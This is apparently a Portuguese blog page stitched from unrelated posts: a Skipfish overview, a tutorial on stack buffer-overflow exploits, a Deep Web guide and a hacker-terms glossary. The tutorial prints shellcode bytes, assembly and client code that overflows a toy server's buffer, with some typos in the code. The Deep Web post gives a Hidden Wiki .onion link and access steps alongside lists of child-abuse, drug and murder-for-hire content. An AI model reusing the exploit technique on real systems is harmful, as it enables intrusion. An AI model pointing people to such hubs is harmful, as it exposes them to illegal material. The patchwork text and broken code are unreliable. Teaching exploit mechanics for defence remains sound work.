Skipfish do Google
Skipfish é uma web ferramenta de reconhecimento de segurança. Ela
prepara um mapa do site através de uma pesquisa recursiva e de consultas
a dicionário baseado em testes.
Ele pode identificar diversas brechas, incluindo vulnerabilidades para
ataques cross-site scripting (XSS), SQL e XML injection, entre outros.
O relatório gerado pode ser analisado sem muita dificuldade para quem
entende um pouco da área.
Ele deve rodar em Linux, FreeBSD, Mac OS X e Windows (por meio do
Cygwin), e está hospedado no Google Code:
http://code.google.com/p/skipfish/
Download: http://code.google.com/p/skipfish/downloads/list
Habilidades:
Alta performance: Escrito em puro C, altamente otimizado para o
HTTP, usando o mínimo de CPU, consegue facilmente atingir 2000
requisições por segundo.
Fácil de utilizar: suporta uma variedade de frameworks web.
Alta qualidade: baixo índice de falsos positivos, controles de
segurança diferenciais, capaz de detectar uma série de falhas sutis,
incluindo vetores de injeção (blind injection vectors).
Funciona em diversas plataformas, tais como: Linux, FreeBSD
7.0+, MacOS X, e Windows (Cygwin).
Ele se baseia nos seus testes e relatórios em 3 níveis básicos. Não irei
traduzir cada um dos tipos de testes e ataques, pois os termos são de
origem americana, e portanto fica até mais fácil pesquisar
posteriormente tudo sobre a técnica ou tecnologia.
Risco alto:
Server-side SQL injection (including blind vectors, numerical
parameters).
Explicit SQL-like syntax in GET or POST parameters.
Server-side shell command injection (including blind vectors).
Server-side XML / XPath injection (including blind vectors).
Format string vulnerabilities.
Integer overflow vulnerabilities.
Locations accepting HTTP PUT.
Risco médio:
Stored and reflected XSS vectors in document body (minimal JS XSS
support present).
Stored and reflected XSS vectors via HTTP redirects.
Stored and reflected XSS vectors via HTTP header splitting.
Directory traversal (including constrained vectors).
Assorted file POIs (server-side sources, configs, etc).
Attacker-supplied script and CSS inclusion vectors (stored and
reflected).
External untrusted script and CSS inclusion vectors.
Mixed content problems on script and CSS resources (optional).
Incorrect or missing MIME types on renderables.
Generic MIME types on renderables.
Incorrect or missing charsets on renderables.
Conflicting MIME / charset info on renderables.
Bad caching directives on cookie setting responses.
Risco baixo:
Directory listing bypass vectors.
Redirection to attacker-supplied URLs (stored and reflected).
Attacker-supplied embedded content (stored and reflected).
External untrusted embedded content.
Mixed content on non-scriptable subresources (optional).
HTTP credentials in URLs.
Expired or not-yet-valid SSL certificates.
HTML forms with no XSRF protection.
Self-signed SSL certificates.
SSL certificate host name mismatches.
Bad caching directives on less sensitive content
Como funcional os Exploits
Resumo – Este documento descreve o que são e como funcionam os exploits, procurando mostrar, através de um exemplo real, os riscos que essas ferramentas de ataque representam para uma rede de computadores.
1 Introdução
Nos dias actuais são indiscutíveis os grandes benefícios obtidos por meio da interligação dos computadores em uma única e grande rede acessível a partir de qualquer ponto do globo.
A Internet, essa grande teia que une milhões de computadores em torno do mundo, é uma conquista irreversível que admite um único futuro: uma contínua e freqüente expansão.
Entretanto, com o advento dessa incrível interconexão de máquinas em escala mundial, muitos ainda são os problemas que precisam ser resolvidos para que os usuários obtenham uma razoável segurança na utilização dos serviços disponibilizados na grande rede. Cada novo serviço ou funcionalidade implementada pelos fabricantes de softwares utilizados nas redes de computadores encontra, frequentemente, uma imediata resposta de hackers e crackers. Esses “usuários” utilizam seus conhecimentos avançados de programação de computadores para explorar falhas existentes nos códigos desenvolvidos para essas novas funcionalidades. Esse é um problema do qual ninguém está totalmente livre. Conforme (FIREWALLS SECURITY CORPORATION) , até mesmo programas famosos e considerados seguros já foram lançados no mercado com esse tipo de vulnerabilidade.
Essas investidas contra fraquezas nos sistemas operacionais e aplicativos são apoiadas por ferramentas conhecidas como exploits. O resultado desses ataques pode ser simplesmente uma momentânea indisponibilidade do serviço (DOS – Denial Of Service) ou, na pior situação, a abertura de um acesso privilegiado no computador hospedeiro do serviço que sofreu o ataque. A partir desse acesso obtido, poderão ser provocados prejuízos imprevisíveis dentro da rede atacada.
Este trabalho procura descrever como funcionam e quais os resultados do ataque desses exploits. O objectivo do trabalho é dar subsídios aos administradores de rede e desenvolvedores de aplicativos na difícil tarefa de tentar evitar ou, pelo menos, responder o mais rápido possível a ataques desse tipo.
2 O que são exploits
O termo exploit, que em português significa, literalmente, explorar, na linguagem da Internet é usado comummente para se referir a pequenos códigos de programas desenvolvidos especialmente para explorar falhas introduzidas em aplicativos por erros involuntários de programação.
Esses exploits, que podem ser preparados para atacar um sistema local ou remotamente, variam muito quanto à sua forma e poder de ataque. Pelo fato de serem peças de código especialmente preparadas para explorar falhas muito específicas, geralmente há um diferente exploit para cada tipo de aplicativo, para cada tipo de falha ou para cada tipo de sistema operacional.
Os exploits podem existir como programas executáveis ou, quando usados remotamente, podem estar ocultos, por exemplo, dentro de uma mensagem de correio eletrônico ou dentro de determinado comando de um protocolo de rede.
3 Como funcionam os exploits
Os exploits quase sempre se aproveitam de uma falha conhecida como buffer overflow (estouro de buffer).
O buffer overflow acontece quando um programa grava informação em uma certa variável, passando, porém, uma quantidade maior de dados do que estava previsto pelo programa. Essa situação possibilita que um código arbitrário seja executado, necessitando apenas que este seja devidamente
posicionado dentro da área de memória do processo.
No codigo abaixo pode ser visto um simples exemplo de um programa vulnerável a um ataque de buffer overflow. O problema está na segunda linha da função ProcessaParm, que não critica o tamanho do parâmetro recebido na variável arg.
void ProcessaParm(char *arg);
void main(int argc, char *argv[])
{
if (argc > 1)
{
printf("Param: %s\n",argv[1]);
ProcessaParm(argv[1]);
}
}
void ProcessaParm(char *arg)
{
char buffer[10];
strcpy(buffer,arg); /* PROBLEMA: se a string contida em arg
tiver mais que 10 carateres havera
um "buffer overflow" */
printf(buffer);
}
Codigo 1: Programa vulnerável a buffer overflow
O buffer overflow, quando ocorre de forma aleatória, normalmente causa um crash na aplicação. No Linux, essa situação gera a conhecida segmentation fault com core dump. Porém, quando correctamente induzido pelo atacante, o buffer overflow pode permitir que se execute um código malicioso que terá os
mesmos privilégios de execução do aplicativo atacado.
Embora o problema do buffer overflow seja conhecido há muito tempo, somente nos últimos anos ele passou a ser amplamente explorado como ferramenta de ataque.
Para entender completamente como o buffer overflow é explorado para se obter acessos indevidos ao sistema, é necessário em primeiro lugar compreender como os processos são organizados em memória. Cada arquitectura de hardware, sistema operacional ou compilador pode organizar de forma diferente um processo em memória. Na figura 1 é possível ver um diagrama que representa essa organização para um programa escrito na linguagem C em um sistema Linux/i386.
Figura 1: Organização dos processos em memória…
A área de programa armazena o código executável. Na área de variáveis globais são alocadas todas as variáveis globais e estáticas; enquanto que a área de heap é reservada para alocação local e dinâmica de memória. Finalmente, a área de pilha é usada para salvar registradores, salvar o endereço de retorno de subrotinas, criar variáveis locais bem como para passar parâmetros na chamada de funções.
Como pode ser observado na figura 1, os ponteiros da pilha e do heap crescem em sentidos opostos, convergindo para o centro da área livre que é comum às duas estruturas de memória. Esse artifício é usado para otimizar o uso da memória livre na área de dados do processo. Entretanto, como será visto ainda nesta seção, essa característica possibilita que os ataques sejam feitos tanto pela pilha quanto pelo heap.
Na figura 1 é possível ver os elementos envolvidos no processo de chamada de uma função.
Normalmente, quando uma função é chamada, os seguintes passos são executados:
1) Os parâmetros da função são colocados da pilha em ordem inversa.
2) Quando a instrução call é executa, o endereço de retorno é armazenado para permitir o retorno
da função à instrução imediatamente seguinte àquela que a chamou.
3) Já dentro da função, o conteúdo do registrador EBP, que é usado como apontador do stack frame, é colocado da pilha para ser recuperado no final da função.
4) Registrador EBP é carregado com o valor atual do ponteiro de pilha (SP).
5) O ponteiro da pilha é decrementado em N bytes, onde N é a quantidade de bytes necessários para a criação das variáveis locais.
Figura 2: Uso da pilha na chamada de uma função…
Devido a essa sua característica, a pilha é o “calcanhar de aquiles” de toda essa estrutura. Com muita paciência, persistência e algum conhecimento de assembly e C, é possível alterar o valor do endereço de retorno do programa e redirecioná-lo para um código malicioso.
A partir desse momento, o ponteiro de instruções do processo passa a ser inteiramente controlado pelo atacante, que poderá fazer qualquer chamada a funções disponíveis no sistema.
A alteração do endereço de retorno pode ser feita tanto pelo “estouro” de uma variável local alocada na pilha quanto pelo “estouro” da área de heap. Da mesma forma, o código malicioso, para onde o programa será desviado, pode ser colocado tanto no heap quanto na pilha. Nas figuras 3 e 4 pode ser vista uma representação da memória durante um ataque de pilha e de heap, respectivamente.
Figura 3: Situação da pilha em um ataque de buffer overflow sobre a pilha…
Figura 4: Situação da pilha em um ataque de buffer overflow sobre o heap…
Como pode ser visto na figura 4, os exploits baseados no heap são mais difíceis de se construir devido à dificuldade de se determinar com precisão o tamanho da área entre o heap e a pilha.
Recentemente, os sistemas operacionais têm implementado mecanismos de bloqueio de execução de códigos na área de pilha e de heap. Essa medida tem por objetivo evitar esses ataques. Porém, para contornar essa dificuldade, uma outra variante do ataque foi desenvolvida. Essa nova tática, conhecida como “retorno à libc”, descrita em (MCDONALD,1999), consiste em desviar o programa para uma função da libc (system(), por exemplo), portanto dentro da área de código, onde não há qualquer restrição de execução
de programas.
A criação de novas técnicas de ataque é apenas uma questão de tempo. Por exemplo, uma técnica mais recente que o buffer overflow, e muito mais complexa do que esta, é a exploração do Format String Bug, detalhada com muita precisão em (THUEMMEL,2001).
Na seção 4 será apresentado, passo a passo, um exemplo de um exploit baseado no estouro da pilha.
Essa variante de exploit foi escolhida para ser analisada aqui por ser, dentre as técnicas de explorações de buffer overflow, a de menor dificuldade de implementação e a que mais tem sido usada ultimamente.
4 Um exemplo de exploit baseado no buffer overflow de pilha
Em um ataque de estouro da pilha, normalmente o atacante terá que responder as seguintes questões antes de poder construir o exploit propriamente dito:
Qual o tamanho do buffer?: em softwares livres isso é facilmente conseguido pelo fato dos fontes do programas serem de domínio público. Aqui não há demérito algum para o software livre uma vez que, fazendo um paralelo com a criptografia, conforme (UCHOA,2003), a segurança baseada na obscuridade é
restrita e deve ser evitada.
O que vai ser executado dentro do código malicioso?: para responder a essa pergunta o atacante deve conhecer uma linguagem de baixo nível, preferencialmente C, que será utilizada para construir o exploit. Além disso, é necessário que se conheça também um pouco de Assembly e do programa de
depuração gdb. A premissa utilizada aqui é fazer um programa tão poderoso que faça todo o trabalho necessário e tão pequeno que caiba dentro da área de buffer.
Normalmente, a seqüência é: criar o programa em C, compilá-lo, abri-lo com o gdb, “anotar” os códigos binários das instruções referentes ao trecho necessário. Esses códigos anotados do gdb serão guardados em uma variável do exploit, que os utilizará na construção da mensagem que será enviada ao servidor.
Como “estourar” o buffer do servidor?: aqui, principalmente, é onde entra a especificidade de cada exploit. Novamente o atacante se utiliza do conhecimento dos fontes dos programas para conhecer todos os fatos necessários ao ataque. Não fosse o conhecimento dos fontes, isso ainda seria possível pelo menos de duas formas diferentes: ou através de engenharia reversa, utilizando-se de uma ferramenta de depuração (gdb, por exemplo), ou através da tentativa e erro, enviando grandes strings em qualquer parte do
programa em que há entrada de dados por parte do usuário.
O código 2 mostra um trecho do programa que será alvo do ataque. Trata-se aqui de um programa muito simples que tem por finalidade apenas servir aos propósitos didáticos deste trabalho. O programa implementa apenas duas funções: a função main(), que é responsável por “ouvir” a porta UDP 1234 e a função TrataMensagem(), que é chamada a cada mensagem recebida pelo servidor.
O programa cliente será o exploit, que preparará uma mensagem de forma tal que provoque o buffer overflow no servidor. Esse ataque abrirá, no servidor, um backdoor que será usado em seguida pelo atacante para continuar seu “trabalho”.
Procurando responder a segunda questão colocada no início desta seção, foi desenvolvido o código apresentado no codigo 3. Neste trabalho, a única ação do atacante será criar o arquivo /bin/sx. Outros comandos poderiam ser acrescentados ao código para efetuar outras ações, como, por exemplo, incluir um usuário no arquivo /etc/passwd. Para criar o arquivo /bin/sx foi usada a system call sys_creat, através da instrução int 0×80. Após criar o arquivo, o exploit simplesmente encerra a execução do servidor.
listen(Sock, 1);
while(1)
{
Tam = sizeof(struct sockaddr_in);
if((Novo=accept(Sock, (struct sockaddr *)&Cliente,&Tam))==1) exit(1);
memset(Mens,0,strlen(Mens));
if(read(Novo,Mens,sizeof(Mens)) < 0) exit(2);
TrataMensagem(Mens);
close(Novo);
}
void TrataMensagem(char *Mens)
{
char Buffer[256];
strcpy(Buffer,Mens); /* VULNERABILIDADE: caso Mens seja maior que 256, haverá o estouro*/
.
.
.
}
Código 2: Trecho do programa servidor alvo do ataque
void main() {
__asm__("
jmp INICIO
FUNCAO:
pop %esi
xor %eax,%eax
movb %eax,7(%esi)
mov %esi,%ebx
movb $0x8,%al
mov $0xfffff1ff,%ecx
int $0x80
movb $1,%al
xorl %ebx,%ebx
int $0x80
INICIO:
CALL FUNCAO
.string \"/bin/sx \"
");
}
Código 3: Código malicioso em assembly
No código 3 pode ser visto o código Assembly para esse pequeno programa. Para compilar o
programa, foi usado o comando: gcc -g -o prog prog.c -ldb.
unsigned char cod[]={
0xeb,0x1f,
0x90,0x90,0x90,0x90,
0x5e,
0x31,0xc0,
0x88,0x46,0x07,
0x89,0xf3,
0xb0,0x08,
0xb9,0xff,0xf1,0xff,0xff,
0xcd,0x80,
0xb0,0x01,
0x31,0xdb,
0xcd,0x80,
0x90,0x90,0x90,0x90,
0xe8,0xe0,0xff,0xff,0xff,0};
Código 4: Versão em byte code do código malicioso
O atacante deve conhecer previamente o endereço da área de memória onde está o comando que será executado. Outro endereço a ser descoberto em tempo de execução é o da string que contém o nome do arquivo a ser criado. Aqui, foi utilizada a técnica descrita em (ARANHA,2003), que consiste em iniciar o programa com um salto para uma instrução imediatamente anterior ao endereço que se quer conhecer. Em seguida o programa deve ser desviado para o restante do código através da execução da intrução call. Dessa forma, o endereço da string é armazenado na pilha, podendo, assim, ser lido pelo restante do código malicioso.
Usando o gdb, o código malicioso deve ser exportado em formato hexadecimal. Nesse caso pode ser usado o comando do gdb: x/bx . A saída hexadecimal do código pode ser vista no codigo 4.
O codigo 5 mostra a parte do código do exploit responsável por montar o buffer e enviá-lo para o servidor. Como pode ser visto, o código do exploit em si é muito simples. Na verdade, a grande dificuldade reside nos passos anteriores, onde devem ser identificados os endereços de dados e de funções que serão usados pelo código malicioso quando este estiver executando no servidor alvo.
#include
#define TAM_BUFFER 256
unsigned char cod[]={
0xeb,0x1f,
0x90,0x90,0x90,0x90,
0x5e,
0x31,0xc0,
0x88,0x46,0x07,
0x89,0xf3,
0xb0,0x08,
0xb9,0xff,0xf1,0xff,0xff,
0xcd,0x80,
0xb0,0x01,
0x31,0xdb,
0xcd,0x80,
0x90,0x90,0x90,0x90,
0xe8,0xe0,0xff,0xff,0xff,0};
char comando[]="/bin/sx ";
main(int argc, char **argv)
{
unsigned char Buffer[TAM_BUFFER+9];
long end;
end=0xbffff71c;
memset(Buffer,'A',TAM_BUFFER);
strcpy(Buffer,cod);
strcat(Buffer,comando);
Buffer[strlen(Buffer)]='A';
*(long *)&Buffer[TAM_BUFFER] = 0xcacacaca;
*(long *)&Buffer[TAM_BUFFER+4] = end;
Buffer[TAM_BUFFER+8] = 0;
.
.
.
if(connect(Sock, (struct sockaddr *)&sin, sizeof(sin)) < 0 ) exit(1);
write(Sock, Buffer, TAM_BYFFER+20);
}
Código 5: Primeira parte do exploit
5 Conclusão
As técnicas aqui mostradas, e muitas outras, estão disponíveis em diversos sites da Internet, mostrando a dialética aí envolvida, onde a própria Internet traz em si os elementos capazes de destruí-la, mas que ao mesmo tempo, são a fonte de seu desenvolvimento. Enquanto os atacantes se utilizam de falhas deixadas ao longo do desenvolvimento da Internet, as equipes de desenvolvimento e segurança se utilizam das técnicas empregadas pelo atacantes – geralmente técnicas avançadas de programação – para produzir seus
antídotos, bem como novas funcionalidades.
Como ações de proteção contra esses ataques, recomenda-se a atualização constante do sistema, aplicando-se os patches necessários, ou mesmo promovendo os devidos upgrades de versão.
Para os programadores, a recomendação não poderia ser outra: atenção! Muita atenção! O menor descuido pode ser a oportunidade que o atacante precisa. Deve-se, sempre que possível, evitar funções que podem causar buffer overflow, tais como strcpy, que deve ser substituída por sua equivalente strncpy.
Ao usar funções passíveis de exploração pela técnica Format String Bug, tais como printf, evitar aplicar a essas funções os valores fornecidos diretamente pelo usuário do programa. Se possível, substituir a libc por versões seguras de biblioteca padrão, tais como a libmib (http://www.mibsoftware.com/libmib/astring/)
ou libsafe (http://www.research.avayalabs.com/project/libsafe/).
Afinal, ninguém pode dizer que está livre de ser atacado, porém esse fato não deve ser desculpa para que não se procure, por todos os meios possíveis, impor aos atacantes, senão uma missão impossível, pelo menos uma tarefa extremamente árdua.
A Deep Web parece uma obra da ficção científica, mas é exatamente o oposto. Ela é real e acreditem: há muita coisa ilegal e psicótica. Nela, é possível ver o trabalho de pessoas que fotografam crianças nuas, perversões sexuais envolvendo animais e defuntos e tráfico de drogas como Peyote, Maconha, LSD e remédios tarja preta. E isso é só a tampa do esgoto. A Internet, com seu uso anônimo, é uma máquina de fazer crimes e de contar os relatos dos mesmos.
Comecei falando da Deep Web, mas não expliquei do que ela se trata. Pois então: ela se trata de sites que são, ou pertencentes a uma rede que anonimiza seus usuários (mais sobre isso depois), ou também de sites inalcançáveis, que não possuem referência em lugar nenhum. Vamos supor que você crie um blog aqui no WordPress mesmo. Você o cria e imediatamente ele já está indexado aos provedores de buscas mais famosos. Trocando em miúdos, você digita o nome do seu blog no Google e ele aparecerá, provavelmente na primeira página. Podemos chamar todos os sites indexados pelos buscadores farofas que usamos todos os dias de Surface Web, que é a parte da Web que fica na superfície, sites dos quais a maioria das pessoas geralmente acessam: Orkut, Google, Hotmail, Badoo, Pirate Bay, Facebook, WordPress, Blogger, Twitter, Tumblr e por aí vai. Podemos encontrar esses sites através das metatags e das tags específicas no HTML que é retornado na nossa tela. Quando entramos em um site, fazemos uma requisição para o servidor do site desejado e ele retorna na nossa tela um código HTML, com todas as tags e metatags, com informações como desenvolveu o site, e as palavras chave de seu conteúdo, para que ele possa ser facilmente indexado a algum motor de busca. Na Deep Web, a idéia é ocultar as metatags ou deixá-las extremamente confusas, dificultando e muito o acesso do usuário e também dos motores de busca. É uma página da Internet no meio do nada. E qual o intuito de alguém criar uma webpage que pessoas leigas não poderiam acessar? Com um simples olhar na Hidden Wiki, vemos onde o buraco começa, e, conforme vamos nos aprofundando, a coisa vai piorando de maneira significativa, de modo que se desiste de entender as mentes insanas que acessam e criam esse tipo de conteúdo anônimo.
Bom, agora que eu contextualizei a Deep Web, vou fazer um guia rápido para quem tem curiosidade, estômago forte, nervos de aço e apaga na hora que vai dormir:
Como os sites perdidos na Web são praticamente inalcançáveis, algumas pessoas reuniram alguns dos sites mais populares do submundo e colocou-os em uma Wiki, denominada The Hidden Wiki, um site com páginas editáveis, na qual os usuários escrevem artigos e linkam as páginas referentes àquele assunto. Para entrar na Hidden Wiki, há a necessidade de um programa especial que deixa o usuário anônimo e permite que urls que terminam em *.onion (usadas na deep web) possam ser acessadas. Então, tudo a se fazer é baixar o Tor (o programa do qual eu estava falando), abrí-lo (ele abrirá um Firefox Portável após a conexão com a rede Tor) e inserir o seguinte link:
http://kpvz7ki2v5agwt35.onion/
Muitos boatos cercam a Deep Web, mas o fato que mais intriga, é a falta de informações relevantes sobre o que exatamente é a Deep Web e o que é feito nela. Material criminoso, como pedofilia, zooflilia, necrofilia, venda de drogas, serviços de assassinato por aluguel, foruns hackers e rumores dizem até em Snuff Films (filmes reais de assassinatos) e foruns de comunicação de terroristas. Considerando que até “pessoas normais”, sem as habilidades de um hacker, consigam acessar a deep web, é no mínimo estranho que as autoridades responsáveis nada tenham feito sobre, e muito menos divulgado o submundo que existe muito perto do alcance de qualquer usuário da Internet.
ATENÇÃO: Eu não se responsabiliza pelo conteúdo que o usuário encontrar, nem pelos traumas ou por possíveis prisões desencadeadas do mau uso desse tipo de rede.
aqui vai uma ajuda para vocês entenderem ou pouco a diferença entre hackers crackers lammers noobs.
Quem nunca ouviu uma notícia na tv, rádio, internet ou qualquer outro meio de comunicação dizendo “Hackers invadiram o sistema de um banco e desviaram dinheiro“, ou “Hackers roubaram mais de 100 contas de sites pagos em computadores infectados“? Bom, para a mídia é fácil falar, mas laaaa atrás, quando algumas pessoas resolveram optar pelo lado negro de Hacking, os amantes e criadores da cultura hacker resolveram separar o bem do mau, isso através de nomes, e é isso que vamos ver agora.
Usando um exemplo bem simples, quando um policial comete um ato ilícito, ele ainda deve ser chamado de policial? Claro que não, a partir da hora que ele comete um ato ilícito como roubar por exemplo, esse policial passa a ser um ladrão, o mesmo acontece em Hacking, se um Hacker passa a cometer crimes na Internet ele não pode ser chamado mais de Hacker e sim de Cracker, agora se esse mesmo Hacker comete um ato ilícito usando cartões de crédito, ele também não continuar sendo chamado de Hacker e sim Carder. Para ficar mais organizado e fácil de entender, vamos falar sobre cada nome:
Hackers: Individuo com amplo conhecimento em informática, que faz uso desse conhecimento para encontrar falhas e medidas de correção para essas falhas. Normalmente um Hacker atua na área de Segurança da Informação sendo um consultor de segurança ou prestando serviço para uma empresa do ramo.
Crackers:Como os Hackers, os Crackers também possuem um conhecimento avançado em informática, porem as suas atitudes são diferentes, os Crackers usam o seu conhecimento apenas para beneficio próprio ou destruição, ao invés de desenvolver medidas de correção para uma vulnerabilidade, os Crackers criam códigos para explorar essa vulnerabilidade e conseguir destruir o sistema alvo, ou conseguir algo de valor como informações pessoais, informações bancárias, senhas, etc.
Carder: nome Carder é dado para a pessoa que utiliza informações bancárias como números de cartões de crédito, cartões de conta corrente ou poupança, ou contas em sites de movimentações bancárias, para beneficio próprio como comprar produtos, fazer transferência para contas de laranjas entre outros atos ilícitos. Uma coisa bem interessante que tem na Internet para download são geradores de cartões de crédito, alguns são até verdade, mas a maioria são arquivos maliciosos que podem prejudicar o seu computador.
Defacer:O Defacer é o individuo que utiliza a tecnica Deface para pichar sites, eles exploram vulnerabilidades através de técnicas para conseguir acesso administrativo a um site para alterar a página inicial do mesmo, por uma que ele (invasor) criou. Normalmente a página criada pelo invasor serve como um meio ilícito de protesto contra o site ou ideologia do site, e é claro nessa mesma página tem uma frase de vitória seguida do nickename do invasor. A maior parte das vulnerabilidades em sites da Internet são SQL e PHP Injection.
Phreaker:O Phreaker é o Hacker da telefonia móvel e fixa. Os Phreakers utilizam técnicas para burlar os sistemas de segurança das companhias telefônicas, normalmente para fazer ligações de graça ou conseguir créditos.
Cheater:O nome Cheater é dado as pessoas que usam cheats (códigos que burlam o sistema de um jogo), para adquirir algum privilégio no jogo online ou local, ou seja, Cheats são trapaças, logo, Cheater são os trapaceiros.
Lammer:Ao contrário do Hacker e do Cracker o Lammer não possui um bom conhecimento em informática, ele apenas procura tutoriais na Internet que ensinam a fazer invasões básicas, e quando ele consegue fazer a invasão ele se auto denomina Hacker, mas é claro, ele esta enganando apenas ele mesmo. Normalmente os Lammers não possuem uma sede de conhecimento, eles querem apenas fazer algo e pronto, se deu certo tranquilo, se não deu, vai para outra técnica, sem ao menos saber como a mesma funciona e porque não deu certo.
Noob:O Noob ou Neewbie é aquele individuo que esta iniciando (no nosso caso em Hacking) e possui uma boa sede de conhecimento, não se denomina Hacker e sabe que ainda tem muito a aprender. Normalmente os Noobs fazem perguntas bobas e iniciantes em fóruns, comunidades e sites. Caso você seja um noob não tem vergonha, todos passam por essa fase, só tome cuidado para não se tornar um Lammer.
Script Kiddie:Para entender bem o que é um script kiddie, nós podemos usar o noob como exemplo, os noobs são como aprendizes de Hacker, já os Script Kiddies são como aprendizes de Crackers. Normalmente essas pessoas utilizam técnicas que elas ainda não dominam para prejudicar computadores e também obter benefícios próprios, mas como se tratando de Crackers não há lei, a maioria dos Script Kiddies caem em armadilhas deixadas pelos Crackers e acabam sendo invadidos, ou até mesmo usados como escudo nas invasões dos Crackers, por exemplo, o Cracker invade um sistema grande usando um script kiddie como um zumbi primário, dessa forma o principal culpado das invasões será o Script Kiddie que foi invadido.
Esses são os nomes mais conhecidos. Muitas pessoas dizem que esses nomes não são precisos, que é pura bobagem e que Cracker e Hacker é tudo a mesma coisa, mas eu aposto que essas pessoas não gostariam de serem chamadas de ladrões ou bandidos sem nunca terem cometido algum delito!
!!!
